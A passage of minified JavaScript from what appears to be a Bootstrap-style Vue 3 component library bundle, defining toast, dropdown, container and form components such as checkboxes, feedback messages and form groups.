,o.lW)(e,\"animation\"));const r=cu((0,o.lW)(e,\"isStatus\")),i=cu((0,o.lW)(e,\"autoHide\")),l=cu((0,o.lW)(e,\"noCloseButton\")),s=cu((0,o.lW)(e,\"noFade\")),u=cu((0,o.lW)(e,\"noHoverPause\"));cu((0,o.lW)(e,\"solid\")),cu((0,o.lW)(e,\"static\"));const d=cu((0,o.lW)(e,\"modelValue\")),c=(0,o.KR)(!1),f=(0,o.KR)(!1),p=(0,o.KR)(!1),h=(0,a.EW)(()=>({[`b-toast-${e.variant}`]:void 0!==e.variant,show:p.value||c.value}));let v,m,g;const y=()=>{typeof v>\"u\"||(clearTimeout(v),v=void 0)},b=(0,a.EW)(()=>Math.max(au(e.delay,0),wc)),$=()=>{d.value&&(m=g=0,y(),f.value=!0,qs(()=>{p.value=!1}))},w=()=>{y(),t(\"update:modelValue\",!0),m=g=0,f.value=!1,(0,a.dY)(()=>{qs(()=>{p.value=!0})})},_=()=>{if(!i.value||u.value||!v||g)return;const e=Date.now()-m;e>0&&(y(),g=Math.max(b.value-e,wc))},k=()=>{(!i.value||u.value||!g)&&(g=m=0),C()};(0,a.wB)(()=>d.value,e=>{e?w():$()});const C=()=>{y(),i.value&&(v=setTimeout($,g||b.value),m=Date.now(),g=0)},x=()=>{c.value=!0,t(\"update:modelValue\",!0)},S=()=>{c.value=!1,C()},E=()=>{c.value=!0},T=()=>{c.value=!1,g=m=0,t(\"update:modelValue\",!1)};(0,a.hi)(()=>{y(),i.value&&t(\"destroyed\",e.id)}),(0,a.sV)(()=>{(0,a.dY)(()=>{d.value&&qs(()=>{w()})})});const R=()=>{(0,a.dY)(()=>{qs(()=>{$()})})};return()=>{const t=()=>{const t=[],r=ru($c,{hide:$},n);r?t.push((0,a.h)(r)):e.title&&t.push((0,a.h)(\"strong\",{class:\"me-auto\"},e.title)),!l.value&&0!==t.length&&t.push((0,a.h)(ad,{class:[\"btn-close\"],onClick:()=>{$()}}));const o=[];if(t.length>0&&o.push((0,a.h)(e.headerTag,{class:\"toast-header\"},{default:()=>t})),ru(\"default\",{hide:$},n)||e.body){const t=(0,a.h)(du(e)?\"b-link\":\"div\",{class:[\"toast-body\",e.bodyClass],onClick:du(e)?{click:R}:{}},ru(\"default\",{hide:$},n)||e.body);o.push(t)}return(0,a.h)(\"div\",{class:[\"toast\",e.toastClass,h.value],tabindex:\"0\"},o)};return(0,a.h)(\"div\",{class:[\"b-toast\"],id:e.id,role:f.value?null:r.value?\"status\":\"alert\",\"aria-live\":f.value?null:r.value?\"polite\":\"assertive\",\"aria-atomic\":f.value?null:\"true\",onmouseenter:_,onmouseleave:k},[(0,a.h)(bc,{noFade:s.value,onAfterEnter:S,onBeforeEnter:x,onAfterLeave:T,onBeforeLeave:E},()=>[p.value?t():\"\"])])}}}),kc=(0,a.pM)({__name:\"BToaster\",props:{position:{default:\"top-right\"},instance:null},setup(e){const t=e,n={\"top-left\":\"top-0 start-0\",\"top-center\":\"top-0 start-50 translate-middle-x\",\"top-right\":\"top-0 end-0\",\"middle-left\":\"top-50 start-0 translate-middle-y\",\"middle-center\":\"top-50 start-50 translate-middle\",\"middle-right\":\"top-50 end-0 translate-middle-y\",\"bottom-left\":\"bottom-0 start-0\",\"bottom-center\":\"bottom-0 start-50 translate-middle-x\",\"bottom-right\":\"bottom-0 end-0\"},r=(0,a.EW)(()=>n[t.position]),l=e=>{var n;null==(n=t.instance)||n.remove(e)};return(t,n)=>{var s;return(0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([[(0,o.R1)(r)],\"b-toaster position-fixed p-3\"]),style:{\"z-index\":\"11\"}},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(null==(s=e.instance)?void 0:s.toasts(e.position).value,e=>((0,a.uX)(),(0,a.Wv)(_c,{id:e.options.id,key:e.options.id,modelValue:e.options.value,\"onUpdate:modelValue\":t=>e.options.value=t,delay:e.options.delay,title:e.content.title,body:e.content.body,component:e.content.body,variant:e.options.variant,onDestroyed:l},null,8,[\"id\",\"modelValue\",\"onUpdate:modelValue\",\"delay\",\"title\",\"body\",\"component\",\"variant\"]))),128))],2)}}}),Cc={delay:5e3,value:!0,pos:\"top-right\"};class xc{constructor(e){ss(this,\"vm\"),ss(this,\"containerPositions\"),(0,o.g8)(e)?this.vm=e:this.vm=(0,o.Kh)(e),this.containerPositions=(0,a.EW)(()=>{const e=new Set([]);return this.vm.toasts.map(t=>{t.options.pos&&e.add(t.options.pos)}),e})}toasts(e){return e?(0,a.EW)(()=>this.vm.toasts.filter(t=>{if(t.options.pos===e&&t.options.value)return t})):(0,a.EW)(()=>this.vm.toasts)}remove(...e){this.vm.toasts=this.vm.toasts.filter(t=>{if(t.options.id&&!e.includes(t.options.id))return t})}isRoot(){var e;return null!=(e=this.vm.root)&&e}show(e,t=Cc){const n={id:Js(),...Cc,...t},r={options:(0,o.Kh)(n),content:e};return this.vm.toasts.push(r),r}info(e,t=Cc){return this.show(e,{variant:\"info\",...t})}danger(e,t=Cc){return this.show(e,{variant:\"danger\",...t})}warning(e,t=Cc){return this.show(e,{variant:\"warning\",...t})}success(e,t=Cc){return this.show(e,{variant:\"success\",...t})}hide(){}}class Sc{constructor(){ss(this,\"vms\"),ss(this,\"rootInstance\"),ss(this,\"useToast\",Mc),this.vms={}}getOrCreateViewModel(e){if(!e){if(this.rootInstance)return this.vms[this.rootInstance];const e={root:!0,toasts:[],container:void 0,id:Symbol(\"toast\")};return this.rootInstance=e.id,this.vms[e.id]=e,e}if(e.root){if(this.rootInstance)return this.vms[this.rootInstance];this.rootInstance=e.id}return this.vms[e.id]=e,e}getVM(e){return!e&&this.rootInstance?this.vms[this.rootInstance]:e?this.vms[e]:void 0}}const Ec=Symbol(),Tc=Symbol(),Rc={container:void 0,toasts:[],root:!1};function Oc(){return(0,a.WQ)(Tc)}function Mc(e,t=Ec){const n=(0,a.WQ)(Oc());if(!e)return new xc(n.getOrCreateViewModel());const r={id:Symbol(\"toastInstance\")},o={...Rc,...r,...e},i=n.getOrCreateViewModel(o);return new xc(i)}const Ac={install:(e,t={})=>{var n,r,a,o;e.provide(Tc,null!=(r=null==(n=null==t?void 0:t.BToast)?void 0:n.injectkey)?r:Ec),e.provide(null!=(o=null==(a=null==t?void 0:t.BToast)?void 0:a.injectkey)?o:Ec,new Sc)}},Dc=(0,a.pM)({name:\"BContainer\",props:{gutterX:{type:String,default:null},gutterY:{type:String,default:null},fluid:{type:[Boolean,String],default:!1},toast:{type:Object},position:{type:String,required:!1},tag:{type:String,default:\"div\"}},setup(e,{slots:t,expose:n}){const r=(0,o.KR)();let i;const l=(0,a.EW)(()=>({container:!e.fluid,[\"container-fluid\"]:\"boolean\"==typeof e.fluid&&e.fluid,[`container-${e.fluid}`]:\"string\"==typeof e.fluid,[`gx-${e.gutterX}`]:null!==e.gutterX,[`gy-${e.gutterY}`]:null!==e.gutterY}));return(0,a.sV)(()=>{e.toast}),e.toast&&(i=Mc({container:r,root:e.toast.root}),n({})),()=>{var n;const o=[];return null==i||i.containerPositions.value.forEach(e=>{o.push((0,a.h)(kc,{key:e,instance:i,position:e}))}),(0,a.h)(e.tag,{class:[l.value,e.position],ref:r},[...o,null==(n=t.default)?void 0:n.call(t)])}},methods:{}}),Bc={class:\"visually-hidden\"},Wc=[\"aria-labelledby\",\"role\"],Pc=(0,a.pM)({__name:\"BDropdown\",props:{id:null,menuClass:null,size:null,splitClass:null,splitVariant:null,text:null,toggleClass:null,autoClose:{type:[Boolean,String],default:!0},block:{default:!1},boundary:{default:\"clippingParents\"},dark:{default:!1},disabled:{default:!1},isNav:{default:!1},dropup:{default:!1},dropright:{default:!1},dropleft:{default:!1},noFlip:{default:!1},offset:{default:0},popperOpts:{default:()=>({})},right:{default:!1},role:{default:\"menu\"},split:{default:!1},splitButtonType:{default:\"button\"},splitHref:{default:void 0},noCaret:{default:!1},toggleText:{default:\"Toggle dropdown\"},variant:{default:\"secondary\"}},emits:[\"show\",\"shown\",\"hide\",\"hidden\",\"click\",\"toggle\"],setup(e,{expose:t,emit:n}){const r=e,l=cu((0,o.lW)(r,\"block\")),s=cu((0,o.lW)(r,\"dark\")),u=cu((0,o.lW)(r,\"disabled\")),d=cu((0,o.lW)(r,\"dropup\")),c=cu((0,o.lW)(r,\"dropright\")),f=cu((0,o.lW)(r,\"isNav\")),p=cu((0,o.lW)(r,\"dropleft\")),h=cu((0,o.lW)(r,\"right\")),v=cu((0,o.lW)(r,\"split\")),m=cu((0,o.lW)(r,\"noCaret\")),g=(0,o.KR)(),y=(0,o.KR)(),b=(0,o.KR)(),$=xu((0,o.lW)(r,\"id\"),\"dropdown\");mu(g,\"show.bs.dropdown\",()=>n(\"show\")),mu(g,\"shown.bs.dropdown\",()=>n(\"shown\")),mu(g,\"hide.bs.dropdown\",()=>n(\"hide\")),mu(g,\"hidden.bs.dropdown\",()=>n(\"hidden\"));const w=e=>{v.value&&n(\"click\",e)},_=(0,a.EW)(()=>({\"d-grid\":l.value,\"d-flex\":l.value&&v.value})),k=(0,a.EW)(()=>({\"nav-link\":f.value,\"dropdown-toggle\":!v.value,\"dropdown-toggle-no-caret\":m.value&&!v.value,\"w-100\":v.value&&l.value})),C=(0,a.EW)(()=>({\"dropdown-menu-dark\":s.value,\"dropdown-menu-end\":h.value})),x=(0,a.EW)(()=>({\"data-bs-toggle\":v.value?void 0:\"dropdown\",\"aria-expanded\":!!v.value&&void 0,ref:v.value?void 0:y,href:v.value?r.splitHref:void 0})),S=(0,a.EW)(()=>({ref:v.value?y:void 0})),E=()=>{var e;null==(e=b.value)||e.hide()};return(0,a.sV)(()=>{var e;b.value=new Pa(null==(e=y.value)?void 0:e.$el,{autoClose:r.autoClose,boundary:r.boundary,offset:r.offset?r.offset.toString():\"\",reference:r.offset||v.value?\"parent\":\"toggle\",popperConfig:e=>{const t={placement:\"bottom-start\",modifiers:r.noFlip?[{name:\"flip\",options:{fallbackPlacements:[]}}]:[]};return d.value?t.placement=h.value?\"top-end\":\"top-start\":c.value?t.placement=\"right-start\":p.value?t.placement=\"left-start\":h.value&&(t.placement=\"bottom-end\"),nu(e,nu(t,r.popperOpts))}})}),t({hide:E}),(t,r)=>((0,a.uX)(),(0,a.CE)(\"div\",{ref_key:\"parent\",ref:g,class:(0,i.C4)([(0,o.R1)(_),\"btn-group\"])},[(0,a.bF)(Dd,(0,a.v6)({id:(0,o.R1)($),variant:e.splitVariant||e.variant,size:e.size,class:[(0,o.R1)(k),(0,o.R1)(v)?e.splitClass:e.toggleClass],disabled:(0,o.R1)(u),type:e.splitButtonType},(0,o.R1)(x),{onClick:w}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"button-content\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"id\",\"variant\",\"size\",\"class\",\"disabled\",\"type\"]),(0,o.R1)(v)?((0,a.uX)(),(0,a.Wv)(Dd,(0,a.v6)({key:0,variant:e.variant,size:e.size,disabled:(0,o.R1)(u)},(0,o.R1)(S),{class:[e.toggleClass,\"dropdown-toggle-split dropdown-toggle\"],\"data-bs-toggle\":\"dropdown\",\"aria-expanded\":\"false\",onClick:r[0]||(r[0]=e=>n(\"toggle\"))}),{default:(0,a.k6)(()=>[(0,a.Lk)(\"span\",Bc,[(0,a.RG)(t.$slots,\"toggle-text\",{},()=>[(0,a.eW)((0,i.v_)(e.toggleText),1)])])]),_:3},16,[\"variant\",\"size\",\"disabled\",\"class\"])):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"ul\",{class:(0,i.C4)([\"dropdown-menu\",[e.menuClass,(0,o.R1)(C)]]),\"aria-labelledby\":(0,o.R1)($),role:e.role},[(0,a.RG)(t.$slots,\"default\")],10,Wc)],2))}}),Ic={role:\"presentation\"},Nc=(0,a.pM)({__name:\"BDropdownDivider\",props:{tag:{default:\"hr\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",Ic,[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"dropdown-divider\",role:\"separator\",\"aria-orientation\":\"horizontal\"}))]))}}),Lc={},jc={role:\"presentation\"},Fc={class:\"px-4 py-3\"};function Vc(e,t){return(0,a.uX)(),(0,a.CE)(\"li\",jc,[(0,a.Lk)(\"form\",Fc,[(0,a.RG)(e.$slots,\"default\")])])}const Uc=vd(Lc,[[\"render\",Vc]]),Xc={role:\"presentation\"},Hc=[\"id\",\"aria-describedby\"],Gc={inheritAttrs:!1},Yc=(0,a.pM)({...Gc,__name:\"BDropdownGroup\",props:{id:null,ariaDescribedby:null,header:null,headerClass:{default:void 0},headerTag:{default:\"header\"},headerVariant:null},setup(e){const t=e,n=(0,a.EW)(()=>t.id?`${t.id}_group_dd_header`:void 0),r=(0,a.EW)(()=>\"header\"===t.headerTag?void 0:\"heading\"),l=(0,a.EW)(()=>({[`text-${t.headerVariant}`]:void 0!==t.headerVariant}));return(t,s)=>((0,a.uX)(),(0,a.CE)(\"li\",Xc,[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.headerTag),{id:(0,o.R1)(n),class:(0,i.C4)([\"dropdown-header\",[(0,o.R1)(l),e.headerClass]]),role:(0,o.R1)(r)},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"header\",{},()=>[(0,a.eW)((0,i.v_)(e.header),1)])]),_:3},8,[\"id\",\"class\",\"role\"])),(0,a.Lk)(\"ul\",(0,a.v6)({id:e.id,role:\"group\",class:\"list-unstyled\"},t.$attrs,{\"aria-describedby\":e.ariaDescribedby||(0,o.R1)(n)}),[(0,a.RG)(t.$slots,\"default\")],16,Hc)]))}}),zc={},Kc={class:\"dropdown-header\"};function qc(e,t){return(0,a.uX)(),(0,a.CE)(\"li\",null,[(0,a.Lk)(\"h6\",Kc,[(0,a.RG)(e.$slots,\"default\")])])}const Qc=vd(zc,[[\"render\",qc]]),Zc={inheritAttrs:!1},Jc=(0,a.pM)({...Zc,__name:\"BDropdownItem\",props:{href:null,linkClass:null,active:{default:!1},disabled:{default:!1},rel:{default:void 0},target:{default:\"_self\"},variant:null},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"active\")),l=cu((0,o.lW)(n,\"disabled\")),s=(0,a.OA)(),u=(0,a.EW)(()=>({active:r.value,disabled:l.value,[`text-${n.variant}`]:void 0!==n.variant})),d=(0,a.EW)(()=>n.href?\"a\":s.to?gd:\"button\"),c=(0,a.EW)(()=>({disabled:l.value,\"aria-current\":r.value?\"true\":null,href:\"a\"===d.value?n.href:null,rel:n.rel,type:\"button\"===d.value?\"button\":null,target:n.target,...s.to?{activeClass:\"active\",...s}:{}})),f=e=>t(\"click\",e);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",{role:\"presentation\",class:(0,i.C4)(t.$attrs.class)},[((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(d)),(0,a.v6)({class:[\"dropdown-item\",[(0,o.R1)(u),e.linkClass]]},(0,o.R1)(c),{onClick:f}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},16,[\"class\"]))],2))}}),ef={inheritAttrs:!1},tf=(0,a.pM)({...ef,__name:\"BDropdownItemButton\",props:{buttonClass:null,active:{default:!1},activeClass:{default:\"active\"},disabled:{default:!1},variant:null},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"active\")),l=cu((0,o.lW)(n,\"disabled\")),s=(0,a.EW)(()=>({[n.activeClass]:r.value,disabled:l.value,[`text-${n.variant}`]:void 0!==n.variant})),u=(0,a.EW)(()=>({disabled:l.value})),d=e=>t(\"click\",e);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",{role:\"presentation\",class:(0,i.C4)(t.$attrs.class)},[(0,a.Lk)(\"button\",(0,a.v6)({role:\"menu\",type:\"button\",class:[\"dropdown-item\",[(0,o.R1)(s),e.buttonClass]]},(0,o.R1)(u),{onClick:d}),[(0,a.RG)(t.$slots,\"default\")],16)],2))}}),nf={role:\"presentation\"},rf={class:\"px-4 py-1 mb-0 text-muted\"},af=(0,a.pM)({__name:\"BDropdownText\",props:{text:{default:\"\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",nf,[(0,a.Lk)(\"p\",rf,[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])])]))}}),of=[\"id\",\"novalidate\",\"onSubmit\"],lf=(0,a.pM)({__name:\"BForm\",props:{id:null,floating:{default:!1},novalidate:{default:!1},validated:{default:!1}},emits:[\"submit\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"floating\")),s=cu((0,o.lW)(n,\"novalidate\")),u=cu((0,o.lW)(n,\"validated\")),d=(0,a.EW)(()=>({\"form-floating\":r.value,\"was-validated\":u.value})),c=e=>t(\"submit\",e);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"form\",{id:e.id,novalidate:(0,o.R1)(s),class:(0,i.C4)((0,o.R1)(d)),onSubmit:(0,l.D$)(c,[\"prevent\"])},[(0,a.RG)(t.$slots,\"default\")],42,of))}}),sf={class:\"form-floating\"},uf=[\"for\"],df=(0,a.pM)({__name:\"BFormFloatingLabel\",props:{labelFor:null,label:null,text:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",sf,[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)]),(0,a.Lk)(\"label\",{for:e.labelFor},[(0,a.RG)(t.$slots,\"label\",{},()=>[(0,a.eW)((0,i.v_)(e.label),1)])],8,uf)]))}}),cf=(0,a.pM)({__name:\"BFormInvalidFeedback\",props:{ariaLive:null,forceShow:{default:!1},id:null,text:null,role:null,state:{default:void 0},tag:{default:\"div\"},tooltip:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"forceShow\")),r=cu((0,o.lW)(t,\"state\")),l=cu((0,o.lW)(t,\"tooltip\")),s=(0,a.EW)(()=>!0===n.value||!1===r.value),u=(0,a.EW)(()=>({\"d-block\":s.value,\"invalid-feedback\":!l.value,\"invalid-tooltip\":l.value})),d=(0,a.EW)(()=>({id:t.id,role:t.role,\"aria-live\":t.ariaLive,\"aria-atomic\":t.ariaLive?\"true\":void 0}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({class:(0,o.R1)(u)},(0,o.R1)(d)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"class\"]))}}),ff=(0,a.pM)({__name:\"BFormRow\",props:{tag:{default:\"div\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"row d-flex flex-wrap\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3}))}}),pf=(0,a.pM)({__name:\"BFormText\",props:{id:null,inline:{default:!1},tag:{default:\"small\"},text:null,textVariant:{default:\"muted\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"inline\")),r=(0,a.EW)(()=>({\"form-text\":!n.value,[`text-${t.textVariant}`]:!!t.textVariant})),l=(0,a.EW)(()=>({id:t.id}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({class:(0,o.R1)(r)},(0,o.R1)(l)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"class\"]))}}),hf=(0,a.pM)({__name:\"BFormValidFeedback\",props:{ariaLive:null,forceShow:{default:!1},id:null,role:null,text:null,state:{default:void 0},tag:{default:\"div\"},tooltip:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"forceShow\")),r=cu((0,o.lW)(t,\"state\")),l=cu((0,o.lW)(t,\"tooltip\")),s=(0,a.EW)(()=>!0===n.value||!0===r.value),u=(0,a.EW)(()=>({\"d-block\":s.value,\"valid-feedback\":!l.value,\"valid-tooltip\":l.value})),d=(0,a.EW)(()=>({id:t.id||null,role:t.role||null,\"aria-live\":t.ariaLive||null,\"aria-atomic\":t.ariaLive?\"true\":null}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),(0,a.v6)({class:(0,o.R1)(u)},(0,o.R1)(d)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"class\"]))}}),vf=[\"id\",\"disabled\",\"required\",\"name\",\"form\",\"aria-label\",\"aria-labelledby\",\"aria-required\",\"value\",\"indeterminate\"],mf=[\"for\"],gf={inheritAttrs:!1},yf=(0,a.pM)({...gf,__name:\"BFormCheckbox\",props:{ariaLabel:null,ariaLabelledBy:null,form:null,indeterminate:null,name:null,id:{default:void 0},autofocus:{default:!1},plain:{default:!1},button:{default:!1},switch:{default:!1},disabled:{default:!1},buttonVariant:{default:\"secondary\"},inline:{default:!1},required:{default:void 0},size:{default:\"md\"},state:{default:void 0},uncheckedValue:{type:[Array,Set,Boolean,String,Object,Number],default:!1},value:{type:[Array,Set,Boolean,String,Object,Number],default:!0},modelValue:{type:[Array,Set,Boolean,String,Object,Number],default:void 0}},emits:[\"update:modelValue\",\"input\",\"change\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"indeterminate\")),s=cu((0,o.lW)(n,\"autofocus\")),u=cu((0,o.lW)(n,\"plain\")),d=cu((0,o.lW)(n,\"button\")),c=cu((0,o.lW)(n,\"switch\")),f=cu((0,o.lW)(n,\"disabled\")),p=cu((0,o.lW)(n,\"inline\")),h=cu((0,o.lW)(n,\"required\")),v=cu((0,o.lW)(n,\"state\")),m=xu((0,o.lW)(n,\"id\"),\"form-check\"),g=(0,o.KR)(null),y=(0,o.KR)(!1),b=(0,a.EW)({get:()=>n.uncheckedValue?Array.isArray(n.modelValue)?n.modelValue.indexOf(n.value)>-1:n.modelValue===n.value:n.modelValue,set:e=>{let r=e;Array.isArray(n.modelValue)?n.uncheckedValue&&(r=n.modelValue,e?(r.indexOf(n.uncheckedValue)>-1&&r.splice(r.indexOf(n.uncheckedValue),1),r.push(n.value)):(r.indexOf(n.value)>-1&&r.splice(r.indexOf(n.value),1),r.push(n.uncheckedValue))):r=e?n.value:n.uncheckedValue,t(\"input\",r),t(\"update:modelValue\",r),t(\"change\",r)}}),$=(0,a.EW)(()=>Array.isArray(n.modelValue)?n.modelValue.indexOf(n.value)>-1:JSON.stringify(n.modelValue)===JSON.stringify(n.value)),w=(0,o.Kh)({plain:(0,o.lW)(u,\"value\"),button:(0,o.lW)(d,\"value\"),inline:(0,o.lW)(p,\"value\"),switch:(0,o.lW)(c,\"value\"),size:(0,o.lW)(n,\"size\"),state:(0,o.lW)(v,\"value\"),buttonVariant:(0,o.lW)(n,\"buttonVariant\")}),_=gu(w),k=yu(w),C=bu(w);return(0,a.sV)(()=>{s.value&&g.value.focus()}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)((0,o.R1)(_))},[(0,a.bo)((0,a.Lk)(\"input\",(0,a.v6)({id:(0,o.R1)(m)},t.$attrs,{ref_key:\"input\",ref:g,\"onUpdate:modelValue\":n[0]||(n[0]=e=>(0,o.i9)(b)?b.value=e:null),class:(0,o.R1)(k),type:\"checkbox\",disabled:(0,o.R1)(f),required:!!e.name&&!!(0,o.R1)(h),name:e.name,form:e.form,\"aria-label\":e.ariaLabel,\"aria-labelledby\":e.ariaLabelledBy,\"aria-required\":e.name&&(0,o.R1)(h)?\"true\":void 0,value:e.value,indeterminate:(0,o.R1)(r),onFocus:n[1]||(n[1]=e=>y.value=!0),onBlur:n[2]||(n[2]=e=>y.value=!1)}),null,16,vf),[[l.lH,(0,o.R1)(b)]]),t.$slots.default||!(0,o.R1)(u)?((0,a.uX)(),(0,a.CE)(\"label\",{key:0,for:(0,o.R1)(m),class:(0,i.C4)([(0,o.R1)(C),{active:(0,o.R1)($),focus:y.value}])},[(0,a.RG)(t.$slots,\"default\")],10,mf)):(0,a.Q3)(\"\",!0)],2))}}),bf=[\"id\"],$f=[\"innerHTML\"],wf=[\"textContent\"],_f=(0,a.pM)({__name:\"BFormCheckboxGroup\",props:{id:null,form:null,modelValue:{default:()=>[]},ariaInvalid:{default:void 0},autofocus:{default:!1},buttonVariant:{default:\"secondary\"},buttons:{default:!1},disabled:{default:!1},disabledField:{default:\"disabled\"},htmlField:{default:\"html\"},name:null,options:{default:()=>[]},plain:{default:!1},required:{default:!1},size:null,stacked:{default:!1},state:{default:void 0},switches:{default:!1},textField:{default:\"text\"},validated:{default:!1},valueField:{default:\"value\"}},emits:[\"input\",\"update:modelValue\",\"change\"],setup(e,{emit:t}){const n=e;cu((0,o.lW)(n,\"autofocus\"));const r=cu((0,o.lW)(n,\"buttons\")),l=cu((0,o.lW)(n,\"disabled\"));cu((0,o.lW)(n,\"plain\"));const s=cu((0,o.lW)(n,\"required\")),u=cu((0,o.lW)(n,\"stacked\")),d=cu((0,o.lW)(n,\"state\")),c=cu((0,o.lW)(n,\"switches\")),f=cu((0,o.lW)(n,\"validated\")),p=(0,a.Ht)(),h=\"BFormCheckbox\",v=xu((0,o.lW)(n,\"id\"),\"checkbox\"),m=xu((0,o.lW)(n,\"name\"),\"checkbox\"),g=(0,a.EW)({get:()=>n.modelValue,set:e=>{if(JSON.stringify(e)===JSON.stringify(n.modelValue))return;const r=n.options.filter(t=>e.map(e=>JSON.stringify(e)).includes(JSON.stringify(\"string\"==typeof t?t:t[n.valueField]))).map(e=>\"string\"==typeof e?e:e[n.valueField]);t(\"input\",r),t(\"update:modelValue\",r),t(\"change\",r)}}),y=(0,a.EW)(()=>(p.first?_u(p.first(),h,l.value):[]).concat(n.options.map(e=>ku(e,n))).concat(p.default?_u(p.default(),h,l.value):[]).map((e,t)=>Cu(e,t,n,m,v)).map(e=>({...e,props:{switch:c.value,...e.props}}))),b=(0,o.Kh)({required:(0,o.lW)(s,\"value\"),ariaInvalid:(0,o.lW)(n,\"ariaInvalid\"),state:(0,o.lW)(d,\"value\"),validated:(0,o.lW)(f,\"value\"),buttons:(0,o.lW)(r,\"value\"),stacked:(0,o.lW)(u,\"value\"),size:(0,o.lW)(n,\"size\")}),$=$u(b),w=wu(b);return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",(0,a.v6)((0,o.R1)($),{id:(0,o.R1)(v),role:\"group\",class:[(0,o.R1)(w),\"bv-no-focus-ring\"],tabindex:\"-1\"}),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(y),(e,n)=>((0,a.uX)(),(0,a.Wv)(yf,(0,a.v6)({key:n,modelValue:(0,o.R1)(g),\"onUpdate:modelValue\":t[0]||(t[0]=e=>(0,o.i9)(g)?g.value=e:null)},e.props),{default:(0,a.k6)(()=>[e.html?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.html},null,8,$f)):((0,a.uX)(),(0,a.CE)(\"span\",{key:1,textContent:(0,i.v_)(e.text)},null,8,wf))]),_:2},1040,[\"modelValue\"]))),128))],16,bf))}}),kf=[\"input\",\"select\",\"textarea\"],Cf=kf.map(e=>`${e}:not([disabled])`).join(),xf=[...kf,\"a\",\"button\",\"label\"],Sf=\"label\",Ef=\"invalid-feedback\",Tf=\"valid-feedback\",Rf=\"description\",Of=\"default\",Mf=(0,a.pM)({components:{BCol:yc,BFormInvalidFeedback:cf,BFormRow:ff,BFormText:pf,BFormValidFeedback:hf},props:{contentCols:{type:[Boolean,String,Number],required:!1},contentColsLg:{type:[Boolean,String,Number],required:!1},contentColsMd:{type:[Boolean,String,Number],required:!1},contentColsSm:{type:[Boolean,String,Number],required:!1},contentColsXl:{type:[Boolean,String,Number],required:!1},description:{type:[String],required:!1},disabled:{type:[Boolean,String],default:!1},feedbackAriaLive:{type:String,default:\"assertive\"},id:{type:String,required:!1},invalidFeedback:{type:String,required:!1},label:{type:String,required:!1},labelAlign:{type:[Boolean,String,Number],required:!1},labelAlignLg:{type:[Boolean,String,Number],required:!1},labelAlignMd:{type:[Boolean,String,Number],required:!1},labelAlignSm:{type:[Boolean,String,Number],required:!1},labelAlignXl:{type:[Boolean,String,Number],required:!1},labelClass:{type:[Array,Object,String],required:!1},labelCols:{type:[Boolean,String,Number],required:!1},labelColsLg:{type:[Boolean,String,Number],required:!1},labelColsMd:{type:[Boolean,String,Number],required:!1},labelColsSm:{type:[Boolean,String,Number],required:!1},labelColsXl:{type:[Boolean,String,Number],required:!1},labelFor:{type:String,required:!1},labelSize:{type:String,required:!1},labelSrOnly:{type:[Boolean,String],default:!1},state:{type:[Boolean,String],default:null},tooltip:{type:[Boolean,String],default:!1},validFeedback:{type:String,required:!1},validated:{type:[Boolean,String],default:!1},floating:{type:[Boolean,String],default:!1}},setup(e,{attrs:t}){const n=cu((0,o.lW)(e,\"disabled\")),r=cu((0,o.lW)(e,\"labelSrOnly\")),i=cu((0,o.lW)(e,\"state\")),l=cu((0,o.lW)(e,\"tooltip\")),s=cu((0,o.lW)(e,\"validated\")),u=cu((0,o.lW)(e,\"floating\")),d=null,c=[\"xs\",\"sm\",\"md\",\"lg\",\"xl\"],f=(e,t)=>c.reduce((n,r)=>{const a=lu(\"xs\"===r?\"\":r,`${t}Align`),o=e[a]||null;return o&&(\"xs\"===r?n.push(`text-${o}`):n.push(`text-${r}-${o}`)),n},[]),p=(e,t)=>c.reduce((n,r)=>{const a=lu(\"xs\"===r?\"\":r,`${t}Cols`);let o=e[a];return 